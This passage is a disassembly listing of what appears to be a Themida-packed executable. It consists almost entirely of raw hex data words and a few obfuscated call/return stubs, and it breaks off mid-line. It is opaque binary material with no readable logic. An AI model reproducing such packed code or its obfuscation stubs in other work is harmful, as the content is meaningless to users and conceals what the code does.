21858B46h, 5F46DC6Ah, 120085EEh dd 0F4FF907h, 183EE01Fh, 0C004D84h, 72826F45h, 3DE41E87h dd 256D8CBEh, 0F9858B2Dh, 41793ADEh, 9D3FD91Bh, 2ED19EF5h dd 7B4D39E3h, 23048431h, 76858BB4h, 9FD5EA05h, 759D7A6Fh dd 25A1CF1Dh, 21810944h, 71E58BA5h, 210EEA8Ch, 0A84A000Fh dd 0C981AFF0h, 21858B5Ch, 3B97F2F6h, 0F93C2674h, 7E8CB612h dd 0F83002FDh, 0DE826FCBh, 0C5A4CADCh, 7085E1B3h, 218588B2h dd 0E2DCAB2Dh, 5C902CFh, 5C10A4Fh, 21859EA1h, 0E2D4CAD2h dd 0BC0C9ED5h, 2661A51Dh, 91220ED7h, 0ACAE8CCAh, 26619783h dd 0DE553C44h, 58000275h, 0A8826FCAh, 0C58BCAECh, 7685E1B3h dd 218588B2h, 0E2DAAB2Dh, 5F902C9h, 5C10A4Fh, 218590A1h dd 0E2D2CCD2h, 0AEF2DAFFh, 5AA0A65Eh, 7E406D1h, 0A4438CC9h dd 2661A7BBh, 7185E118h, 2185884Dh, 0E2DDABD2h, 5C10231h dd 5C10AB0h, 21859C5Eh, 0E2D5CB2Dh, 0E87E95FAh, 6B81EC2h dd 256D8C41h, 92858BD2h, 475D93ADh, 0ABD5713Fh, 5C1008Fh dd 9F850029h, 790A436h, 25A1CFC2h, 47DD432Eh, 0DE9B476Dh dd 0C5A4CADCh, 0C304EDB3h, 0A4082EADh, 26623B8Ah, 2185837Eh dd 0F1B6E24Bh, 0D2097A0Ah, 44308202h, 78826F63h, 286C5B4Bh dd 2E858B5Ah, 0F9934DDDh, 9A1B45CBh, 25C80EC2h, 21EF8C41h dd 21866380h, 7BA58B69h, 750CD177h, 65048F7Eh, 21918F09h dd 73C78B96h, 0A0E3C288h, 0E7D71A4Ch, 0C5A9A657h, 34EDCC6Eh dd 9011203Eh, 5B10A88h, 2F0DC91h, 2185807Fh, 1395314Bh dd 70A9979Ah, 0C004EC9Fh, 0C43E96h, 0B4A68C50h, 2661BAEBh dd 91220EA0h, 0F17A8C71h, 0A84D002Dh, 0C5A14220h, 70008AD5h dd 0E7826F74h, 0C5A9A631h, 21EFCC5Dh, 2186637Fh, 7BA58B96h dd 750CD188h, 65048F81h, 219C8FF6h, 73C78B69h, 0A616AF77h dd 410FC711h, 107F3422h, 0C5A8CE03h, 0BCACEA4Ch, 26618CE8h dd 0C51971BAh, 9C71351Ch, 250484C6h, 0D6F60B7Eh, 99E5EB26h dd 7712FFB7h, 98540A2Dh, 407CEADFh, 1D1635B4h, 0C43E96h dd 94A68C50h, 266190FFh, 91220EA0h, 21EF8C71h, 2186631Ah dd 78A58BA5h, 6D0CD211h, 65048F4Dh, 21928F90h, 70C48B5Ah dd 2BF4ECEEh, 80802B3h, 0DE826F53h, 54380075h, 0A8826FCFh dd 0C5914AECh, 0AC1002B3h, 0A8826F77h, 0C58A2298h, 0C004D91h dd 66826F67h, 0C9D28BCFh, 21858BD1h, 7E46D449h, 25A1F73Dh dd 25A1CFDBh, 21858B30h, 6146DCD1h, 846367A2h, 703B3B0Dh dd 218A633Dh, 2B258B69h, 198B7E3Ah, 889B21FDh, 0B6EAE5A4h dd 270C84D7h, 0AA858B4Bh, 0C58B3610h, 296DD2D5h ; --------------------------------------------------------------------------- loc_5C2404: ; DATA XREF: Themida_:005829C0o ; Themida_:00584F08o imul ecx, [ebx+289A3C85h], 0FD3A163Eh and [eax-3A78D148h], ch xchg eax, ecx aad 0EDh cmp [eax+ebp*4], ebp retn ; --------------------------------------------------------------------------- db 0C9h dd 21858BB6h, 55D9C95h, 56D0A789h, 9EA87F07h, 0AA509AE5h dd 0AAEDBFCFh, 2504D447h, 8850CE6Fh, 7685E1C1h, 2185883Ah dd 0E2DAAB69h, 5F902EBh, 5C10A5Eh, 21859E29h, 0E2D2CC96h dd 940CEAFBh, 2661A1D8h, 6030742Eh, 0A8826F48h, 0C593E239h dd 8600065Dh, 4B826C9Dh, 226DDC96h, 1858B4Bh, 0A8DA48FAh dd 0A081AFAEh, 3981AF2Dh, 66858BB4h, 568C480Dh, 0A8B7771Ah dd 0C580BE23h, 0F17A7E4Ch, 0C9D68BCFh, 21858BD1h, 7A46D049h dd 25A1D73Dh, 25A1CFDBh, 21858B36h, 0E346D8D5h, 66510A3Bh dd 0A004F908h, 0A4588603h, 0B010A201h, 0AA826FB9h, 0C58E8AEFh dd 0B000022Ah, 9B826F85h, 3DB7542Ch, 0B40C5B5Ah, 2661B8FFh dd 211C0EE0h, 47798C50h, 0B48E53D6h, 2661BA60h, 20D03E1Fh dd 25A18CAFh, 0C9D68BCFh, 21858BD1h, 7A46D049h, 25A1D73Dh dd 25A1CFDBh, 21858B34h, 0E246D8D5h, 7BBDA035h, 2E4581B2h dd 21869956h, 0CC108069h, 41826FABh, 218582B2h, 852ED72Dh dd 458BE292h, 0A40E5B6Dh, 26618ACCh, 2180628Ch, 71708B69h dd 4047E83Ah, 0DA80E9Ch, 70CA8CC9h, 720F562Fh, 0E6EDD502h dd 41D24D14h, 415400B2h, 9AE3EA08h, 0A0E40158h, 9B78AF5Eh dd 21EFEC94h, 218663C7h, 78A58B4Bh, 6D0CD266h, 65048FF6h dd 219E8F4Dh, 70C48BB4h, 0A17F4599h, 9FEED6A2h, 947A776Ch dd 2661AA0Ah, 0AC527A25h, 0C6352C57h, 7785E16Eh, 2185885Ch dd 0E2DBAB5Ah, 5F10273h, 5C10A92h, 21859E4Fh, 0E2D3CDA5h dd 0D9E5706Eh, 40753466h, 21EF5B4Bh, 2186630Ch, 7FA58B2Dh dd 550CD555h, 65048F6Fh, 219D8F81h, 77C38BD2h, 294FF7AAh dd 0B40EF685h, 2661A163h, 4BA14BAEh, 226DDA96h, 1858B4Bh dd 0A8DC48FCh, 0A081AF9Eh, 3B81AF2Dh, 60858BB4h, 8385480Bh dd 31DB7149h, 0F4100040h, 0A8826F48h, 0C5A81220h, 693BEDD5h dd 0B800001Ah, 4B826FB4h, 226DD85Ah, 1858B2Dh, 0A8DE48CDh dd 0A081AF17h, 3781AFE1h, 62858BD2h, 1F51483Ah, 0BC0E7EEAh dd 266198CBh, 325436A6h, 4BC68C72h, 226DD94Bh, 1858BA5h dd 0A8DF4888h, 0A081AF3Dh, 3981AFF0h, 63858B5Ah, 7DDA487Fh dd 0AA507B42h, 218E6350h, 758F8BA5h, 0F145CFB6h, 0BFE791FBh dd 0BC080293h, 7E826F4Fh, 0A1D290A6h, 0AADC0E5Bh, 7185E150h dd 2185884Dh, 0E2DDABD2h, 5C10231h, 5C10AB0h, 2185975Eh dd 0E2D5CB2Dh, 6D336BD8h, 0F21A874Ch, 0CE04EDADh, 0F9B6F26Bh dd 0C9D28B03h, 21858BB7h, 7E46D47Ah, 25A1F7A4h, 25A1CF17h dd 21858B52h, 2A46DCE2h, 95A6C4E7h, 24400B53h, 218708BBh dd 0C90F8B5Ah, 1AC16A4h, 0B40E8C72h, 2661846Ah, 20BC1E2Ch dd 0A4438C36h, 2661A744h, 7185E1F3h, 218588B2h, 0E2DDAB2Dh dd 5C102CEh, 5C10A4Fh, 21859FA1h, 0E2D5CBD2h, 0F435E3B1h dd 356CCDD0h, 0E0858B5Ah, 0A13D248Ch, 7C7BC4Bh, 5273F35Dh dd 47A06DC9h, 0A0C4F10Ch, 267CAF6Dh, 286DFACEh, 5B858B5Ah dd 5B19562h, 2D8D545Ah, 3E5C1E62h, 76DB8C41h, 2203659h dd 0DEDC8C8Dh, 0C5A4CA01h, 7785E15Dh, 218588C5h, 0E2DBAB96h dd 5F10215h, 5C10AA1h, 218593D6h, 0E2D3CD69h, 0C61587BEh dd 86000681h, 20826C9Dh, 0C5901E03h, 0C855744Ch, 21858BAEh dd 0EA714A6Ah, 0F60EA361h, 0A8084786h, 0C5A142DFh, 210ECB2Ah dd 0C9D08BFCh, 21858B48h, 7C46D685h, 25A1E75Bh, 25A1CFE8h dd 21858BA8h, 2D46DE1Fh, 4769E20Fh, 0B81F01E1h, 11A436C2h dd 210E8C41h, 0C9D58BB8h, 21858B6Ah, 7946D394h, 25A1CFD3h dd 25A1CFACh, 21858B8Fh, 446DB0Bh, 0DBD01A38h, 0C4000217h dd 4B826F6Ah, 226DDDB4h, 1858B5Ah, 0A8DB4873h, 0A081AFE2h dd 3981AF0Fh, 67858BA5h, 0A4D54884h, 47FA4AACh, 9B1A4235h dd 2184C3B3h, 1018BA2Dh, 0AC826FBAh, 0C67D34CEh, 218A62A2h dd 95938BD2h, 86D36DA6h, 0BE28A91Ch, 0BA896850h, 316CDBBFh dd 5B858B96h, 11606DE7h, 0EF7D0A6h, 0FAA2FD00h, 0A8568B5Eh dd 0C9D4AFB0h, 21858B4Eh, 35C4602Dh, 918B7644h, 35C1F36Fh dd 67C54732h, 37D70EE5h, 35DC3E6Ah, 7BDF8C50h, 465A0A3Ch dd 0F410742Ah, 4B826F8Dh, 226DDE4Bh, 1858BA5h, 0A8D8488Fh dd 0A081AF05h, 3581AFF0h, 64858B5Ah, 0C8514878h, 21858B86h dd 0AD6738AEh, 0DA56EB9Fh, 83C4FA7Eh, 9906ABB2h, 64A834D2h dd 0D94016D7h, 0A88A8CCAh, 21858B9Eh, 0E33FED2Bh, 40E4EB69h dd 21976382h, 9AF28B69h, 0A81BE7DFh, 86D1601Fh, 678B90ABh dd 0EB7924F3h, 5990212h, 2866D01Fh, 0AAE31BFAh, 276CDBA7h dd 0F2858BB4h, 4F3BFC10h, 21EF1BBBh, 218663C1h, 7EA58B4Bh dd 5D0CD466h, 65048FF6h, 21908F4Dh, 76C28BB4h, 0C9C42099h dd 21858B21h, 0DD6CFBECh, 251B8AB7h, 0AAD0F36Eh, 26B41E59h dd 0DEDC8C8Dh, 0C59E0A21h, 7085E15Dh, 218588C5h, 0E2DCAB96h dd 5C90212h, 5C10AA1h, 21859DD6h, 0E2D4CA69h, 97E85372h dd 0B80002CEh, 0AA826F00h, 0C5A68A03h, 0C004D4Ch, 72826F89h dd 49573CDDh, 0B5709DBBh, 8CA18F35h, 4B901937h, 226DDA2Dh dd 1858B96h, 0A8DC4812h, 0A081AFE9h, 3981AF96h, 60858B69h dd 0E6E948E5h, 0AA5969F9h, 603074FCh, 0A0826FB7h, 0EDD069BDh dd 86000682h, 0AA826C62h, 0C58FE2D4h, 218362B3h, 0D65A8B5Ah dd 0A0534027h, 0B40E5B69h, 2661AE42h, 10280E2Ch, 0AAE58C36h dd 270F84B6h, 0AA858BB4h, 0C58432C7h, 0A443EA2Ah, 2661A7BBh dd 7185E10Ch, 2185884Dh, 0E2DDABD2h, 5C10231h, 5C10AB0h dd 21859C5Eh, 0E2D5CB2Dh, 0B3FDF9ECh, 0AB6A0A2Dh, 6808A28Bh dd 49826FDFh, 4F2071DFh, 47D1860Dh, 5810A1Ch, 134991F7h dd 0C9D48BFCh, 21858B48h, 7846D285h, 25A1C75Bh, 25A1CFE8h dd 21858BA8h, 2E46DA1Bh, 6C4E5CD7h, 1B83ADFh, 6319D9F1h dd 0CF6B0BCDh, 7743EDBh, 947A8C8Dh, 2661AAF5h, 0C9D38B30h dd 21858B2Eh, 7F46D5B6h, 25A1FFC2h, 25A1CF24h, 21858BCFh dd 0E946DD2Fh, 6E96F1B4h, 7926CE4Bh, 8600065Ch, 4B826C26h dd 226DDD4Bh, 1858BA5h, 0A8DB488Ch, 0A081AF1Dh, 3981AFF0h dd 67858B5Ah, 0A739487Bh, 0DE672B04h, 7785E19Bh, 2185884Dh dd 0E2DBABD2h, 5F10237h, 5C10AB0h, 21859C5Eh, 0E2D3CD2Dh dd 990F26B9h, 47E5AEFEh, 763CA21Eh, 75C0E5Bh, 40DD8C8Dh dd 0B8C0E3Dh, 21EF8CBEh, 2186637Dh, 79A58B96h, 650CD388h dd 65048F81h, 219F8FF6h, 71C58B69h, 9CAE9277h, 0F89D27EEh dd 35E816A4h, 0A4438C72h, 2661A766h, 7185E1F6h, 2185883Ah dd 0E2DDAB69h, 5C102ECh, 5C10A5Eh, 21859C29h, 0E2D5CB96h dd 0EFA2B8EDh, 21A505AAh, 356D8BD2h, 57858B69h, 2F5C134Eh dd 55686A4Eh, 83C0DDC9h, 845D0521h, 2EE93721h, 21858B2Eh dd 256DD1D2h, 0B1858B69h, 0C91CB2EBh, 21858B5Ch, 81F53063h dd 0C9E57386h, 21858B45h, 823B795Eh, 0EB4D38D9h, 2B776405h dd 41DDF1CCh, 71DCEA3Bh, 108AD97Dh, 40DBDBF6h, 650ED311h dd 210E8F81h, 2185993Ah db 69h byte_5C2BA5 db 35h, 0F1h, 9Eh ; DATA XREF: Themida_:00583F10o dd 34BF80C8h, 31123376h, 8DBA0944h, 0C99A7F63h, 21858B4Dh dd 284653E9h, 0F20E1A74h, 650CD230h, 0ABE58F90h, 2189638Bh dd 0F3A78B2Dh, 19266EFDh, 0AD654F29h, 40E57915h, 2ADDEA8Dh dd 0C5802EDCh, 603074B3h, 4B826F7Bh, 226DDD2Dh, 1858B96h dd 0A8DB4815h, 0A081AFD1h, 3D81AF96h, 67858B69h, 488848E2h dd 44F702BFh, 0A1182B3Eh, 0A4089174h, 26623BECh, 0C9D08BCFh dd 21858BD1h, 7C46D649h, 25A1E73Dh, 25A1CFDBh, 21858B39h dd 7846DED3h, 3B0006C2h, 0BCAC8C41h, 2661BA57h, 21EF5B96h dd 218663E2h, 7FA58B5Ah, 550CD5EEh, 65048FB2h, 21938F6Fh dd 77C38BA5h, 8F74EA11h, 11E40EE0h, 21EF8C50h, 2186630Bh dd 78A58B2Dh, 6D0CD255h, 65048F6Fh, 219C8F81h, 70C48BD2h dd 5C8CD3AAh, 2EF99815h, 21858BD7h, 0C004D2Dh, 76826FBAh dd 0C9D08B21h, 21858BA6h, 7C46D6F2h, 25A1E7E0h, 25A1CF35h dd 21858B41h, 0CD46DE68h, 0DE5F684Eh, 0C821E331h, 21858BB6h dd 7353717Eh, 0BF354320h, 57DAF351h, 95828F50h, 0C934DCE3h dd 21858B92h, 0B181D94Dh, 0AAE3EBC5h, 0D234EA1Ah, 73D5DB08h dd 21858D5Dh, 7A1E085Ah, 2EDA0187h, 270284A7h, 2E858B4Bh dd 21858B23h, 0AADDD1D2h, 7181AF2Dh, 8B31EBE6h, 2EE45AD0h dd 0AADDD11Ch, 2E048496h, 0C9858B4Bh, 21858BA2h, 8CA263D8h dd 0AA29F7BBh, 650CD24Fh, 0AAE38F7Eh, 21EFD3E2h, 218663C0h dd 7FA58B4Bh, 550CD566h, 65048FF6h, 21998F4Dh, 77C38BB4h dd 0F0212D99h, 3737F02Ah, 0AC0EB8BAh, 2661A99Ah, 338362Ch dd 947A8C36h, 2661AA28h, 0C9D58BDEh, 21858B59h, 7946D30Dh dd 25A1CF1Fh, 25A1CFCAh, 21858BB1h, 3A46DB92h, 2FC806E2h dd 296C8C50h, 0DC858B5Ah, 0B3108A18h, 0ACAC16BBh, 0C6352CCEh dd 7085E1A2h, 2185883Ah, 0E2DCAB69h, 5C902EDh, 5C10A5Eh dd 21859C29h, 0E2D4CA96h, 8D9DA235h, 21EF5B5Ah, 21866387h dd 7CA58B69h, 4D0CD677h, 65048F7Eh, 21998F09h, 74C08B96h dd 0D0472988h, 7854F56Ch, 0A8D62339h, 0C59C3EFCh, 276DD1B3h dd 80858B5Ah, 0CF004002h, 3C720AF7h, 7E907CDEh, 11C80E2Ch dd 0A4438C36h, 2661A744h, 219662F7h, 18928B5Ah, 2CE7A8D0h dd 0A19A91F7h, 5E181831h, 24384993h, 7030A06Dh, 49826F64h dd 90C9A622h, 218B623Ah, 152D8B2Dh, 0B33A21C8h, 3146B14h dd 3D6F17D9h, 5B10AB3h, 2C59D6D7h, 218B08BBh, 286C8B5Ah dd 10858B2Dh, 0A3D926B7h, 691EB9BFh, 0B80802C5h, 0C9826FF5h dd 21858B7Bh, 0F0B23976h, 31B3D68Ah, 642C6913h, 0FDFFD05Dh dd 0FA0494D8h, 3BA5C58Ah, 947AEA8Dh, 2661AA28h, 8600064Dh dd 4B826CEAh, 226DDC2Dh, 1858B96h, 0A8DA4814h, 0A081AFD9h dd 3481AF96h, 66858B69h, 787848E3h, 21EF5BA5h, 2186637Eh dd 7AA58B96h, 7D0CD088h, 65048F81h, 21908FF6h, 72C68B69h dd 22E2F377h, 0C5AF6EEFh, 4008022Ah, 0A8826FB3h, 0C58BE6CEh dd 7185E1A2h, 2185883Ah, 0E2DDAB69h, 5C102ECh, 5C10A5Eh dd 21859C29h, 0E2D5CB96h, 82123A08h, 0A88C6125h, 0C58C024Fh dd 9400066Eh, 22826C4Ch, 0C5990EE7h, 70E5DB2Ah, 73D5E92Dh dd 0E90ED55Ah, 58102C4h, 21840CDDh, 0DE708B69h, 0C59E5E21h dd 1408805Dh, 0AA826F1Dh, 7185E14Eh, 218588A3h, 0E2DDABA5h dd 5C1028Ah, 5C10A6Dh, 218591B0h, 0E2D5CB5Ah, 3E2AD55Eh dd 0D8B21059h, 0D92C0EC6h, 296D8C42h, 46858BD2h, 293E0D2Eh dd 0AAAC480Ch, 0C9D5D1ABh, 21858B3Fh, 6D21FD4h, 0B4B98969h dd 70005FCAh, 34A48216h, 0A48A1788h, 21858BACh, 218598B3h dd 0E8EF4B2Dh, 81EA2A97h, 0DE85B852h, 66D140A5h, 0DBAC8BFFh dd 5810236h, 0C9D28BDEh, 21858B59h, 7E46D40Dh, 25A1F71Fh dd 25A1CFCAh, 21858BBEh, 0AE46DC95h, 0D7D9AAB7h, 0D48BC9BBh dd 716A01C9h, 0F60EED4Dh, 21810B99h, 98E38B4Bh, 0B2E48BBEh dd 383EEDB2h, 0B47AEA22h, 26619035h, 0B00002A6h, 0A8826F00h dd 0C5B44613h, 2182624Ch, 0BEF48BA5h, 0EEBAD03Ch, 0F4004CD2h dd 2E826F9Eh, 0DE858B5Ah, 0C5A81AB8h, 0DA0EED91h, 39E00EC2h dd 9C848C41h, 26618EC7h, 2B200EE2h, 0BC088C50h, 266D80B9h dd 0AC84C8A4h, 0C5A9FA2Bh, 9C30064Ch, 988263AEh, 21858BE1h dd 126E2F9Ah, 21858B0Ch, 5545805Ah, 219D492Eh, 2DA1CF1Dh dd 21856318h, 0A0DE8BA5h, 21859C11h, 5D90269h, 5C102A4h dd 163DD04Eh, 0DE853AD7h, 5C10076h, 4B65744Fh, 226DDEA5h dd 1858BD2h, 0A8D84834h, 0A081AFD8h, 3481AF1Eh, 64858B2Dh dd 0BA2948C3h, 3C6F0A2Dh, 7185E124h, 2185883Ah, 0E2DDAB69h dd 5C102ECh, 5C10A5Eh, 21859229h, 0E2D5CB96h, 2F34E386h dd 2B6CDB19h, 0A0858BD2h, 699075AEh, 90D921C9h, 0F10EEDA0h dd 218B624Ch, 0D8608B96h, 92CB92AEh, 0B54305B8h, 56189099h dd 0D92C36E4h, 0AC088C53h, 266D872Fh, 72EBE95h, 800B80Eh dd 0A826F52h, 236C4A6Ah, 12AA70EBh, 817485E1h, 0B4218588h dd 7E2D8ABh, 2905E902h, 9205C10Ah, 0F305E983h, 6AD98BA4h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0A819C351h, 0BFAA5E34h, 2DB58Bh, 8D8B07E4h dd 7E42EE1h, 22E9h, 88A0F00h, 0F000000h, 289h, 61616000h dd 0CE9C3F5h, 29000000h, 0DDE124F7h, 1CB7B6Eh, 8B31F553h dd 188A0FC0h, 60000000h, 6E9h, 20F54000h, 0E9A76D1Dh, 6 dd 0C6FA3C99h, 8361BA58h, 0E413F1BDh, 9750007h, 935BD83h dd 740007E4h, 8B535019h, 4B9B8C0h, 85890000h, 7E40EEDh dd 0EA579D8Dh, 0D3FF07E6h, 0BD83585Bh, 7E40935h, 50177400h dd 4B9B853h, 85890000h, 7E40EEDh, 0E6F89D8Dh, 0D3FF07E6h dd 6A585Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 590FF3C3h, 0A508BE89h, 0BE91Ah, 0A7F00000h dd 5D717052h, 0BF568E2Dh, 870FF96Eh, 1, 0E9C08BF8h, 12h dd 269F39D9h, 7C814869h, 689EBD65h, 0BB63BDA8h, 8B4096F7h dd 51006AC1h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 1B547F0Bh, 0B5893C14h, 7E4009Dh, 4EBh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 9F32B0C3h, 90BA66B9h, 5E93AE5h, 6D000000h, 9780F8Ch dd 0E7816650h, 8D5ED989h, 0E40D8585h, 39858907h, 9007E427h dd 0CE6BF50h, 505F71FFh, 0D38B6660h, 5A616050h, 6A9061h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 4AA6E0C3h, 2037FB4Ch, 858992CFh, 7E40659h, 0B70F006Ah dd 66006AF3h, 8DAB2BBFh, 0E80F9485h, 835E5707h, 6A05C0h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0C3C1E1C3h, 0EF91D740h, 0FC80BF66h, 13E950h, 2E250000h dd 6E188B7Bh, 0C30D0488h, 69D3AE2Ch, 0E9EF4973h, 24048941h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 50C35242h dd 362371BEh, 8B006A0Eh, 0E41EC1BDh, 6A006A07h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 3CACC351h, 88DAF21Fh, 89FF3770h, 0E40F998Dh, 7195FF07h dd 6A07E424h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h dd 40000000h, 0DA0EC350h, 5E98D3Ch, 0AD000000h, 0A83A8465h dd 0D64B9D8Dh, 6A07E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 9705A5C3h, 0B9CC1ED7h, 0FD3FF85h dd 284h, 0FFF18B00h, 0E420B985h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 44FD2015h dd 5E9FBh, 48FE0000h, 0E913C71Ch, 6FAh, 0E8h, 0ED815D00h dd 7E80F9Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 0CEC35141h, 0F9CB93A8h, 8DB589D3h, 8107E422h, 0E42AD5BDh dd 7D007h, 0D860F00h, 29000001h, 0E418358Dh, 699D8B07h dd 6A07E40Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 834CC353h, 0D0919E04h, 5252AE9Dh dd 6800Fh, 0B58B0000h, 7E40A9Dh, 0E381FC5Fh, 100h, 2A79BD01h dd 0DB0B07E4h, 7D850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 5FDA43C3h, 6E2F1E38h dd 1A718589h, 853107E4h, 7E41C61h, 0DD3BD83h, 0F0007E8h dd 2784h, 46E9F500h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0BE65C355h, 355520EFh dd 0DD385C7h, 107E8h, 0B5030000h, 7E43565h, 10E9h, 89BD8B00h dd 0C707E426h, 0E80DD385h, 7, 699D8D00h, 6A07E40Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 9F3CC357h, 0E62F86C3h, 0FF238136h, 0BFFFFFFEh, 50747854h dd 8BDB8C66h, 4C3F6F3h, 93840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 688D30C3h dd 0FFB72571h, 0E42D9195h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 8E8FDB9Fh dd 0F5090E0h, 1C88h, 10E800h, 0D3870000h, 6C948130h, 0BB236411h dd 821231B7h, 8C0F219Ah, 0 ; --------------------------------------------------------------------------- pop esi nop push 0 push ecx call sub_5C35F9 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C35F9 proc near ; CODE XREF: Themida_:005C35F1p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5C35F9 endp ; --------------------------------------------------------------------------- db 93h, 86h, 7Fh dd 29B586B9h, 0E41B4985h, 409E907h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 277AECC3h dd 899D2EAFh, 0E402A995h, 8900B007h, 0E431B19Dh, 0F2B70F07h dd 6A70E6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 4F3A05C3h, 734561DEh, 89603BE5h, 0E41A0D8Dh dd 66EDBE07h, 66617BF5h, 0E463BEBEh, 53006A71h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 669025C0h dd 0C8C7BB13h, 14E9E3CEh, 0D6000000h, 2CB43DDDh, 0EC95E3C9h dd 37D659F2h, 4A696895h, 665D9225h, 0B60FF78Bh, 998589D8h dd 0BA07E415h, 6, 2B58589h, 0C38B07E4h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 17h, 0BCC35141h, 898E74BFh dd 0E42211BDh, 4E8C107h, 66E2F766h, 2D5BC781h, 6AD82Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 8D8977C3h, 7E408CDh, 2115BD8Bh, 609307E4h, 14830Fh dd 0FE90000h, 4000000h, 0E50B9D47h, 639FE03h, 0B1BD9607h dd 66603EC9h, 0E8D1AFBBh, 9, 0DE3B9B23h, 319EA435h, 6161593Bh dd 0C56CBE50h, 29934197h, 0E42115B5h, 0D5B5FF07h, 8107E42Ah dd 5E93BADFh, 4195FF6Dh, 6A07E40Eh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 93EAC350h dd 17F1680Dh, 4C5F0ED2h, 0D924BE66h, 6A00B0h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 7CD12BC3h dd 0D96D8755h, 8B06EC09h, 0E42A21BDh, 6A70E607h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 2359C353h, 2F1BEDDEh, 6A71E4h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 295C82C3h, 6860Fh, 0BD030000h dd 7E42631h, 830F613Ch, 1EFh, 1535B589h, 0B60F07E4h, 56006AD8h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 6C3B71A6h, 0EE8284Eh, 19000000h, 8B6E6DDAh, 1456956Dh dd 104B1BC9h, 0BA5FF93Dh, 6, 0E03EBF66h, 6AC38Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 1695ADC3h, 0C91F592Dh, 0E8C15FACh, 0E2F76604h, 5F5F5352h dd 6AD82Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0BC8188C3h, 3176A44Dh, 8B151B83h, 0E431B1B5h dd 6810F07h, 8B000000h, 0E42035B5h, 6A5807h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0D82BFBC3h dd 119880Fh, 8B660000h, 7B9F0h, 0B70F0000h, 318D09F1h dd 8307E41Bh, 6A00C1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0AFA78C3h, 700DD781h, 3BFC1BA3h dd 0D8860FD9h, 0BE000000h, 0EBA21BEh, 6AD98C66h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0F48EC356h, 49FA819Eh, 9589FA8Bh, 7E418A9h, 0F04C1F6h dd 7D84h, 698D2900h, 0FF07E40Eh, 0E42D9195h, 0B5096007h dd 7E41CF1h, 1C619D8Bh, 5B6107E4h, 6AC32Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0DC5D86C3h dd 2A1A4A9Ch, 3D4E3E44h, 834h, 30860Fh, 8E0F0000h, 4, 5E5F5656h dd 42E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0BF58317Dh, 0C08B96F0h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0BBC35545h, 8B1577A7h dd 6AD88BC3h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0C548C356h, 44331D16h, 6AD78166h dd 8585C781h, 1D07E423h, 6A5C233Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0D3A4C352h dd 6573C5BFh, 7E90Ah, 636A0000h, 3BACB7Eh, 89C08B65h, 0E426F18Dh dd 0E18D8907h, 8107E419h, 0E42AD5BDh, 7D007h, 2B850F00h dd 53000000h, 0FF5FF88Bh, 0E42AD585h, 52006A07h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0C090EF3Ah, 0B5FF84ACh, 7E42AD5h, 15158589h, 95FF07E4h dd 7E40E41h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 62C35747h, 8B6631C2h, 78B890FAh, 1123456h, 0E42BF9BDh dd 779D8D07h, 0E907E816h, 0FFFFF90Ch, 25DDB58Bh, 0C18B07E4h dd 20B59589h, 4EB07E4h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5C3B37 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3B37 proc near ; CODE XREF: 